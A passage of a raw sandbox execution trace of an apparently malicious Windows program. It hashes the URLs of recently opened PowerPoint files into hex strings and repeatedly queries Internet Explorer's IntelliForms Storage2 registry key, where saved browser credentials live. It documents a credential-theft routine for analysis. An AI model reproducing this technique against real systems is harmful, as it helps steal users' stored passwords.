lpString1="43B6BA9C641D883A7AA11881626467A49BD5F8A4", lpString2="23" | out: lpString1="43B6BA9C641D883A7AA11881626467A49BD5F8A423") returned="43B6BA9C641D883A7AA11881626467A49BD5F8A423" [0078.041] LocalFree (hMem=0x647890) returned 0x0 [0078.041] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.042] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.042] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.042] LocalFree (hMem=0x647a00) returned 0x0 [0078.042] CoTaskMemFree (pv=0x6421e8) [0078.042] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2xEHXY-aE2j/2jVuctC%20e-%20NA.pptx", lpSrch="?") returned 0x0 [0078.042] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2xEHXY-aE2j/2jVuctC%20e-%20NA.pptx") returned 92 [0078.042] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="EE") returned 2 [0078.042] lstrlenA (lpString="") returned 0 [0078.042] lstrlenA (lpString="EE") returned 2 [0078.042] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65aa80 [0078.042] lstrcpyA (in: lpString1=0x65aa80, lpString2="" | out: lpString1="") returned="" [0078.042] lstrcatA (in: lpString1="", lpString2="EE" | out: lpString1="EE") returned="EE" [0078.042] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2A") returned 2 [0078.042] lstrlenA (lpString="EE") returned 2 [0078.043] lstrlenA (lpString="2A") returned 2 [0078.043] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65b090 [0078.043] lstrcpyA (in: lpString1=0x65b090, lpString2="EE" | out: lpString1="EE") returned="EE" [0078.043] lstrcatA (in: lpString1="EE", lpString2="2A" | out: lpString1="EE2A") returned="EE2A" [0078.043] LocalFree (hMem=0x65aa80) returned 0x0 [0078.043] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FF") returned 2 [0078.043] lstrlenA (lpString="EE2A") returned 4 [0078.043] lstrlenA (lpString="FF") returned 2 [0078.043] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65aa80 [0078.043] lstrcpyA (in: lpString1=0x65aa80, lpString2="EE2A" | out: lpString1="EE2A") returned="EE2A" [0078.043] lstrcatA (in: lpString1="EE2A", lpString2="FF" | out: lpString1="EE2AFF") returned="EE2AFF" [0078.043] LocalFree (hMem=0x65b090) returned 0x0 [0078.043] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BE") returned 2 [0078.043] lstrlenA (lpString="EE2AFF") returned 6 [0078.043] lstrlenA (lpString="BE") returned 2 [0078.043] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x6643e8 [0078.043] lstrcpyA (in: lpString1=0x6643e8, lpString2="EE2AFF" | out: lpString1="EE2AFF") returned="EE2AFF" [0078.043] lstrcatA (in: lpString1="EE2AFF", lpString2="BE" | out: lpString1="EE2AFFBE") returned="EE2AFFBE" [0078.043] LocalFree (hMem=0x65aa80) returned 0x0 [0078.043] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="53") returned 2 [0078.043] lstrlenA (lpString="EE2AFFBE") returned 8 [0078.043] lstrlenA (lpString="53") returned 2 [0078.043] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x664350 [0078.043] lstrcpyA (in: lpString1=0x664350, lpString2="EE2AFFBE" | out: lpString1="EE2AFFBE") returned="EE2AFFBE" [0078.043] lstrcatA (in: lpString1="EE2AFFBE", lpString2="53" | out: lpString1="EE2AFFBE53") returned="EE2AFFBE53" [0078.043] LocalFree (hMem=0x6643e8) returned 0x0 [0078.043] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="83") returned 2 [0078.043] lstrlenA (lpString="EE2AFFBE53") returned 10 [0078.043] lstrlenA (lpString="83") returned 2 [0078.043] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0078.043] lstrcpyA (in: lpString1=0x6643e8, lpString2="EE2AFFBE53" | out: lpString1="EE2AFFBE53") returned="EE2AFFBE53" [0078.043] lstrcatA (in: lpString1="EE2AFFBE53", lpString2="83" | out: lpString1="EE2AFFBE5383") returned="EE2AFFBE5383" [0078.043] LocalFree (hMem=0x664350) returned 0x0 [0078.043] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="80") returned 2 [0078.043] lstrlenA (lpString="EE2AFFBE5383") returned 12 [0078.044] lstrlenA (lpString="80") returned 2 [0078.044] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x664350 [0078.044] lstrcpyA (in: lpString1=0x664350, lpString2="EE2AFFBE5383" | out: lpString1="EE2AFFBE5383") returned="EE2AFFBE5383" [0078.044] lstrcatA (in: lpString1="EE2AFFBE5383", lpString2="80" | out: lpString1="EE2AFFBE538380") returned="EE2AFFBE538380" [0078.044] LocalFree (hMem=0x6643e8) returned 0x0 [0078.044] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="41") returned 2 [0078.044] lstrlenA (lpString="EE2AFFBE538380") returned 14 [0078.044] lstrlenA (lpString="41") returned 2 [0078.044] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65b090 [0078.044] lstrcpyA (in: lpString1=0x65b090, lpString2="EE2AFFBE538380" | out: lpString1="EE2AFFBE538380") returned="EE2AFFBE538380" [0078.044] lstrcatA (in: lpString1="EE2AFFBE538380", lpString2="41" | out: lpString1="EE2AFFBE53838041") returned="EE2AFFBE53838041" [0078.044] LocalFree (hMem=0x664350) returned 0x0 [0078.044] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4D") returned 2 [0078.044] lstrlenA (lpString="EE2AFFBE53838041") returned 16 [0078.044] lstrlenA (lpString="4D") returned 2 [0078.044] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65b130 [0078.044] lstrcpyA (in: lpString1=0x65b130, lpString2="EE2AFFBE53838041" | out: lpString1="EE2AFFBE53838041") returned="EE2AFFBE53838041" [0078.044] lstrcatA (in: lpString1="EE2AFFBE53838041", lpString2="4D" | out: lpString1="EE2AFFBE538380414D") returned="EE2AFFBE538380414D" [0078.044] LocalFree (hMem=0x65b090) returned 0x0 [0078.044] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B7") returned 2 [0078.044] lstrlenA (lpString="EE2AFFBE538380414D") returned 18 [0078.044] lstrlenA (lpString="B7") returned 2 [0078.044] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65b090 [0078.044] lstrcpyA (in: lpString1=0x65b090, lpString2="EE2AFFBE538380414D" | out: lpString1="EE2AFFBE538380414D") returned="EE2AFFBE538380414D" [0078.044] lstrcatA (in: lpString1="EE2AFFBE538380414D", lpString2="B7" | out: lpString1="EE2AFFBE538380414DB7") returned="EE2AFFBE538380414DB7" [0078.044] LocalFree (hMem=0x65b130) returned 0x0 [0078.044] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="38") returned 2 [0078.044] lstrlenA (lpString="EE2AFFBE538380414DB7") returned 20 [0078.044] lstrlenA (lpString="38") returned 2 [0078.044] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65b130 [0078.044] lstrcpyA (in: lpString1=0x65b130, lpString2="EE2AFFBE538380414DB7" | out: lpString1="EE2AFFBE538380414DB7") returned="EE2AFFBE538380414DB7" [0078.044] lstrcatA (in: lpString1="EE2AFFBE538380414DB7", lpString2="38" | out: lpString1="EE2AFFBE538380414DB738") returned="EE2AFFBE538380414DB738" [0078.044] LocalFree (hMem=0x65b090) returned 0x0 [0078.044] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2B") returned 2 [0078.044] lstrlenA (lpString="EE2AFFBE538380414DB738") returned 22 [0078.044] lstrlenA (lpString="2B") returned 2 [0078.044] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0078.044] lstrcpyA (in: lpString1=0x652cb0, lpString2="EE2AFFBE538380414DB738" | out: lpString1="EE2AFFBE538380414DB738") returned="EE2AFFBE538380414DB738" [0078.044] lstrcatA (in: lpString1="EE2AFFBE538380414DB738", lpString2="2B" | out: lpString1="EE2AFFBE538380414DB7382B") returned="EE2AFFBE538380414DB7382B" [0078.044] LocalFree (hMem=0x65b130) returned 0x0 [0078.045] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AB") returned 2 [0078.045] lstrlenA (lpString="EE2AFFBE538380414DB7382B") returned 24 [0078.045] lstrlenA (lpString="AB") returned 2 [0078.045] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652e00 [0078.045] lstrcpyA (in: lpString1=0x652e00, lpString2="EE2AFFBE538380414DB7382B" | out: lpString1="EE2AFFBE538380414DB7382B") returned="EE2AFFBE538380414DB7382B" [0078.045] lstrcatA (in: lpString1="EE2AFFBE538380414DB7382B", lpString2="AB" | out: lpString1="EE2AFFBE538380414DB7382BAB") returned="EE2AFFBE538380414DB7382BAB" [0078.045] LocalFree (hMem=0x652cb0) returned 0x0 [0078.045] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FF") returned 2 [0078.045] lstrlenA (lpString="EE2AFFBE538380414DB7382BAB") returned 26 [0078.045] lstrlenA (lpString="FF") returned 2 [0078.045] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652cb0 [0078.045] lstrcpyA (in: lpString1=0x652cb0, lpString2="EE2AFFBE538380414DB7382BAB" | out: lpString1="EE2AFFBE538380414DB7382BAB") returned="EE2AFFBE538380414DB7382BAB" [0078.045] lstrcatA (in: lpString1="EE2AFFBE538380414DB7382BAB", lpString2="FF" | out: lpString1="EE2AFFBE538380414DB7382BABFF") returned="EE2AFFBE538380414DB7382BABFF" [0078.045] LocalFree (hMem=0x652e00) returned 0x0 [0078.045] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5C") returned 2 [0078.045] lstrlenA (lpString="EE2AFFBE538380414DB7382BABFF") returned 28 [0078.045] lstrlenA (lpString="5C") returned 2 [0078.045] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652e00 [0078.045] lstrcpyA (in: lpString1=0x652e00, lpString2="EE2AFFBE538380414DB7382BABFF" | out: lpString1="EE2AFFBE538380414DB7382BABFF") returned="EE2AFFBE538380414DB7382BABFF" [0078.045] lstrcatA (in: lpString1="EE2AFFBE538380414DB7382BABFF", lpString2="5C" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C") returned="EE2AFFBE538380414DB7382BABFF5C" [0078.045] LocalFree (hMem=0x652cb0) returned 0x0 [0078.045] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="41") returned 2 [0078.045] lstrlenA (lpString="EE2AFFBE538380414DB7382BABFF5C") returned 30 [0078.045] lstrlenA (lpString="41") returned 2 [0078.045] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0078.045] lstrcpyA (in: lpString1=0x6293a8, lpString2="EE2AFFBE538380414DB7382BABFF5C" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C") returned="EE2AFFBE538380414DB7382BABFF5C" [0078.045] lstrcatA (in: lpString1="EE2AFFBE538380414DB7382BABFF5C", lpString2="41" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C41") returned="EE2AFFBE538380414DB7382BABFF5C41" [0078.045] LocalFree (hMem=0x652e00) returned 0x0 [0078.045] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FB") returned 2 [0078.045] lstrlenA (lpString="EE2AFFBE538380414DB7382BABFF5C41") returned 32 [0078.045] lstrlenA (lpString="FB") returned 2 [0078.045] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0078.045] lstrcpyA (in: lpString1=0x6292f8, lpString2="EE2AFFBE538380414DB7382BABFF5C41" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C41") returned="EE2AFFBE538380414DB7382BABFF5C41" [0078.045] lstrcatA (in: lpString1="EE2AFFBE538380414DB7382BABFF5C41", lpString2="FB" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB") returned="EE2AFFBE538380414DB7382BABFF5C41FB" [0078.045] LocalFree (hMem=0x6293a8) returned 0x0 [0078.045] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="46") returned 2 [0078.045] lstrlenA (lpString="EE2AFFBE538380414DB7382BABFF5C41FB") returned 34 [0078.045] lstrlenA (lpString="46") returned 2 [0078.045] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0078.045] lstrcpyA (in: lpString1=0x6293a8, lpString2="EE2AFFBE538380414DB7382BABFF5C41FB" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB") returned="EE2AFFBE538380414DB7382BABFF5C41FB" [0078.045] lstrcatA (in: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB", lpString2="46" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB46") returned="EE2AFFBE538380414DB7382BABFF5C41FB46" [0078.046] LocalFree (hMem=0x6292f8) returned 0x0 [0078.046] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="22") returned 2 [0078.046] lstrlenA (lpString="EE2AFFBE538380414DB7382BABFF5C41FB46") returned 36 [0078.046] lstrlenA (lpString="22") returned 2 [0078.046] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0078.046] lstrcpyA (in: lpString1=0x6292f8, lpString2="EE2AFFBE538380414DB7382BABFF5C41FB46" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB46") returned="EE2AFFBE538380414DB7382BABFF5C41FB46" [0078.046] lstrcatA (in: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB46", lpString2="22" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB4622") returned="EE2AFFBE538380414DB7382BABFF5C41FB4622" [0078.046] LocalFree (hMem=0x6293a8) returned 0x0 [0078.046] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="88") returned 2 [0078.046] lstrlenA (lpString="EE2AFFBE538380414DB7382BABFF5C41FB4622") returned 38 [0078.046] lstrlenA (lpString="88") returned 2 [0078.046] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0078.046] lstrcpyA (in: lpString1=0x647ab8, lpString2="EE2AFFBE538380414DB7382BABFF5C41FB4622" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB4622") returned="EE2AFFBE538380414DB7382BABFF5C41FB4622" [0078.046] lstrcatA (in: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB4622", lpString2="88" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB462288") returned="EE2AFFBE538380414DB7382BABFF5C41FB462288" [0078.046] LocalFree (hMem=0x6292f8) returned 0x0 [0078.046] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="05") returned 2 [0078.046] lstrlenA (lpString="EE2AFFBE538380414DB7382BABFF5C41FB462288") returned 40 [0078.046] lstrlenA (lpString="05") returned 2 [0078.046] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647b70 [0078.046] lstrcpyA (in: lpString1=0x647b70, lpString2="EE2AFFBE538380414DB7382BABFF5C41FB462288" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB462288") returned="EE2AFFBE538380414DB7382BABFF5C41FB462288" [0078.046] lstrcatA (in: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB462288", lpString2="05" | out: lpString1="EE2AFFBE538380414DB7382BABFF5C41FB46228805") returned="EE2AFFBE538380414DB7382BABFF5C41FB46228805" [0078.046] LocalFree (hMem=0x647ab8) returned 0x0 [0078.046] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.046] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.046] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.046] LocalFree (hMem=0x647b70) returned 0x0 [0078.046] CoTaskMemFree (pv=0x65afc8) [0078.046] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/in9THF7XaJvx_YhY_Zlp.pptx", lpSrch="?") returned 0x0 [0078.046] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/in9THF7XaJvx_YhY_Zlp.pptx") returned 60 [0078.046] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AA") returned 2 [0078.046] lstrlenA (lpString="") returned 0 [0078.046] lstrlenA (lpString="AA") returned 2 [0078.046] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65aa80 [0078.047] lstrcpyA (in: lpString1=0x65aa80, lpString2="" | out: lpString1="") returned="" [0078.047] lstrcatA (in: lpString1="", lpString2="AA" | out: lpString1="AA") returned="AA" [0078.047] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="75") returned 2 [0078.047] lstrlenA (lpString="AA") returned 2 [0078.047] lstrlenA (lpString="75") returned 2 [0078.047] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65afc8 [0078.047] lstrcpyA (in: lpString1=0x65afc8, lpString2="AA" | out: lpString1="AA") returned="AA" [0078.047] lstrcatA (in: lpString1="AA", lpString2="75" | out: lpString1="AA75") returned="AA75" [0078.047] LocalFree (hMem=0x65aa80) returned 0x0 [0078.047] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="44") returned 2 [0078.047] lstrlenA (lpString="AA75") returned 4 [0078.047] lstrlenA (lpString="44") returned 2 [0078.047] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65aa80 [0078.047] lstrcpyA (in: lpString1=0x65aa80, lpString2="AA75" | out: lpString1="AA75") returned="AA75" [0078.047] lstrcatA (in: lpString1="AA75", lpString2="44" | out: lpString1="AA7544") returned="AA7544" [0078.047] LocalFree (hMem=0x65afc8) returned 0x0 [0078.047] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3E") returned 2 [0078.047] lstrlenA (lpString="AA7544") returned 6 [0078.047] lstrlenA (lpString="3E") returned 2 [0078.047] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x664350 [0078.047] lstrcpyA (in: lpString1=0x664350, lpString2="AA7544" | out: lpString1="AA7544") returned="AA7544" [0078.047] lstrcatA (in: lpString1="AA7544", lpString2="3E" | out: lpString1="AA75443E") returned="AA75443E" [0078.047] LocalFree (hMem=0x65aa80) returned 0x0 [0078.047] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FE") returned 2 [0078.047] lstrlenA (lpString="AA75443E") returned 8 [0078.047] lstrlenA (lpString="FE") returned 2 [0078.047] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x6643e8 [0078.047] lstrcpyA (in: lpString1=0x6643e8, lpString2="AA75443E" | out: lpString1="AA75443E") returned="AA75443E" [0078.047] lstrcatA (in: lpString1="AA75443E", lpString2="FE" | out: lpString1="AA75443EFE") returned="AA75443EFE" [0078.047] LocalFree (hMem=0x664350) returned 0x0 [0078.047] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E4") returned 2 [0078.047] lstrlenA (lpString="AA75443EFE") returned 10 [0078.047] lstrlenA (lpString="E4") returned 2 [0078.047] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0078.047] lstrcpyA (in: lpString1=0x664350, lpString2="AA75443EFE" | out: lpString1="AA75443EFE") returned="AA75443EFE" [0078.047] lstrcatA (in: lpString1="AA75443EFE", lpString2="E4" | out: lpString1="AA75443EFEE4") returned="AA75443EFEE4" [0078.047] LocalFree (hMem=0x6643e8) returned 0x0 [0078.047] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E2") returned 2 [0078.047] lstrlenA (lpString="AA75443EFEE4") returned 12 [0078.047] lstrlenA (lpString="E2") returned 2 [0078.048] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x6643e8 [0078.048] lstrcpyA (in: lpString1=0x6643e8, lpString2="AA75443EFEE4" | out: lpString1="AA75443EFEE4") returned="AA75443EFEE4" [0078.048] lstrcatA (in: lpString1="AA75443EFEE4", lpString2="E2" | out: lpString1="AA75443EFEE4E2") returned="AA75443EFEE4E2" [0078.048] LocalFree (hMem=0x664350) returned 0x0 [0078.048] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E7") returned 2 [0078.048] lstrlenA (lpString="AA75443EFEE4E2") returned 14 [0078.048] lstrlenA (lpString="E7") returned 2 [0078.048] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65afc8 [0078.048] lstrcpyA (in: lpString1=0x65afc8, lpString2="AA75443EFEE4E2" | out: lpString1="AA75443EFEE4E2") returned="AA75443EFEE4E2" [0078.048] lstrcatA (in: lpString1="AA75443EFEE4E2", lpString2="E7" | out: lpString1="AA75443EFEE4E2E7") returned="AA75443EFEE4E2E7" [0078.048] LocalFree (hMem=0x6643e8) returned 0x0 [0078.048] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="16") returned 2 [0078.048] lstrlenA (lpString="AA75443EFEE4E2E7") returned 16 [0078.048] lstrlenA (lpString="16") returned 2 [0078.048] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65b068 [0078.048] lstrcpyA (in: lpString1=0x65b068, lpString2="AA75443EFEE4E2E7" | out: lpString1="AA75443EFEE4E2E7") returned="AA75443EFEE4E2E7" [0078.048] lstrcatA (in: lpString1="AA75443EFEE4E2E7", lpString2="16" | out: lpString1="AA75443EFEE4E2E716") returned="AA75443EFEE4E2E716" [0078.048] LocalFree (hMem=0x65afc8) returned 0x0 [0078.048] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="60") returned 2 [0078.048] lstrlenA (lpString="AA75443EFEE4E2E716") returned 18 [0078.048] lstrlenA (lpString="60") returned 2 [0078.048] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65afc8 [0078.048] lstrcpyA (in: lpString1=0x65afc8, lpString2="AA75443EFEE4E2E716" | out: lpString1="AA75443EFEE4E2E716") returned="AA75443EFEE4E2E716" [0078.048] lstrcatA (in: lpString1="AA75443EFEE4E2E716", lpString2="60" | out: lpString1="AA75443EFEE4E2E71660") returned="AA75443EFEE4E2E71660" [0078.048] LocalFree (hMem=0x65b068) returned 0x0 [0078.048] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A4") returned 2 [0078.048] lstrlenA (lpString="AA75443EFEE4E2E71660") returned 20 [0078.048] lstrlenA (lpString="A4") returned 2 [0078.048] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65b068 [0078.048] lstrcpyA (in: lpString1=0x65b068, lpString2="AA75443EFEE4E2E71660" | out: lpString1="AA75443EFEE4E2E71660") returned="AA75443EFEE4E2E71660" [0078.048] lstrcatA (in: lpString1="AA75443EFEE4E2E71660", lpString2="A4" | out: lpString1="AA75443EFEE4E2E71660A4") returned="AA75443EFEE4E2E71660A4" [0078.048] LocalFree (hMem=0x65afc8) returned 0x0 [0078.048] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0A") returned 2 [0078.048] lstrlenA (lpString="AA75443EFEE4E2E71660A4") returned 22 [0078.048] lstrlenA (lpString="0A") returned 2 [0078.048] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652e00 [0078.048] lstrcpyA (in: lpString1=0x652e00, lpString2="AA75443EFEE4E2E71660A4" | out: lpString1="AA75443EFEE4E2E71660A4") returned="AA75443EFEE4E2E71660A4" [0078.048] lstrcatA (in: lpString1="AA75443EFEE4E2E71660A4", lpString2="0A" | out: lpString1="AA75443EFEE4E2E71660A40A") returned="AA75443EFEE4E2E71660A40A" [0078.048] LocalFree (hMem=0x65b068) returned 0x0 [0078.049] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="92") returned 2 [0078.049] lstrlenA (lpString="AA75443EFEE4E2E71660A40A") returned 24 [0078.049] lstrlenA (lpString="92") returned 2 [0078.049] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652cb0 [0078.049] lstrcpyA (in: lpString1=0x652cb0, lpString2="AA75443EFEE4E2E71660A40A" | out: lpString1="AA75443EFEE4E2E71660A40A") returned="AA75443EFEE4E2E71660A40A" [0078.049] lstrcatA (in: lpString1="AA75443EFEE4E2E71660A40A", lpString2="92" | out: lpString1="AA75443EFEE4E2E71660A40A92") returned="AA75443EFEE4E2E71660A40A92" [0078.049] LocalFree (hMem=0x652e00) returned 0x0 [0078.049] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="40") returned 2 [0078.049] lstrlenA (lpString="AA75443EFEE4E2E71660A40A92") returned 26 [0078.049] lstrlenA (lpString="40") returned 2 [0078.049] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652e00 [0078.049] lstrcpyA (in: lpString1=0x652e00, lpString2="AA75443EFEE4E2E71660A40A92" | out: lpString1="AA75443EFEE4E2E71660A40A92") returned="AA75443EFEE4E2E71660A40A92" [0078.049] lstrcatA (in: lpString1="AA75443EFEE4E2E71660A40A92", lpString2="40" | out: lpString1="AA75443EFEE4E2E71660A40A9240") returned="AA75443EFEE4E2E71660A40A9240" [0078.049] LocalFree (hMem=0x652cb0) returned 0x0 [0078.049] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="17") returned 2 [0078.049] lstrlenA (lpString="AA75443EFEE4E2E71660A40A9240") returned 28 [0078.049] lstrlenA (lpString="17") returned 2 [0078.049] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0078.049] lstrcpyA (in: lpString1=0x652cb0, lpString2="AA75443EFEE4E2E71660A40A9240" | out: lpString1="AA75443EFEE4E2E71660A40A9240") returned="AA75443EFEE4E2E71660A40A9240" [0078.049] lstrcatA (in: lpString1="AA75443EFEE4E2E71660A40A9240", lpString2="17" | out: lpString1="AA75443EFEE4E2E71660A40A924017") returned="AA75443EFEE4E2E71660A40A924017" [0078.049] LocalFree (hMem=0x652e00) returned 0x0 [0078.049] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D3") returned 2 [0078.049] lstrlenA (lpString="AA75443EFEE4E2E71660A40A924017") returned 30 [0078.049] lstrlenA (lpString="D3") returned 2 [0078.049] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0078.049] lstrcpyA (in: lpString1=0x6292f8, lpString2="AA75443EFEE4E2E71660A40A924017" | out: lpString1="AA75443EFEE4E2E71660A40A924017") returned="AA75443EFEE4E2E71660A40A924017" [0078.049] lstrcatA (in: lpString1="AA75443EFEE4E2E71660A40A924017", lpString2="D3" | out: lpString1="AA75443EFEE4E2E71660A40A924017D3") returned="AA75443EFEE4E2E71660A40A924017D3" [0078.049] LocalFree (hMem=0x652cb0) returned 0x0 [0078.049] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="32") returned 2 [0078.049] lstrlenA (lpString="AA75443EFEE4E2E71660A40A924017D3") returned 32 [0078.049] lstrlenA (lpString="32") returned 2 [0078.049] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0078.049] lstrcpyA (in: lpString1=0x6293a8, lpString2="AA75443EFEE4E2E71660A40A924017D3" | out: lpString1="AA75443EFEE4E2E71660A40A924017D3") returned="AA75443EFEE4E2E71660A40A924017D3" [0078.049] lstrcatA (in: lpString1="AA75443EFEE4E2E71660A40A924017D3", lpString2="32" | out: lpString1="AA75443EFEE4E2E71660A40A924017D332") returned="AA75443EFEE4E2E71660A40A924017D332" [0078.049] LocalFree (hMem=0x6292f8) returned 0x0 [0078.049] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="21") returned 2 [0078.049] lstrlenA (lpString="AA75443EFEE4E2E71660A40A924017D332") returned 34 [0078.049] lstrlenA (lpString="21") returned 2 [0078.049] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0078.049] lstrcpyA (in: lpString1=0x6292f8, lpString2="AA75443EFEE4E2E71660A40A924017D332" | out: lpString1="AA75443EFEE4E2E71660A40A924017D332") returned="AA75443EFEE4E2E71660A40A924017D332" [0078.050] lstrcatA (in: lpString1="AA75443EFEE4E2E71660A40A924017D332", lpString2="21" | out: lpString1="AA75443EFEE4E2E71660A40A924017D33221") returned="AA75443EFEE4E2E71660A40A924017D33221" [0078.050] LocalFree (hMem=0x6293a8) returned 0x0 [0078.050] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="03") returned 2 [0078.050] lstrlenA 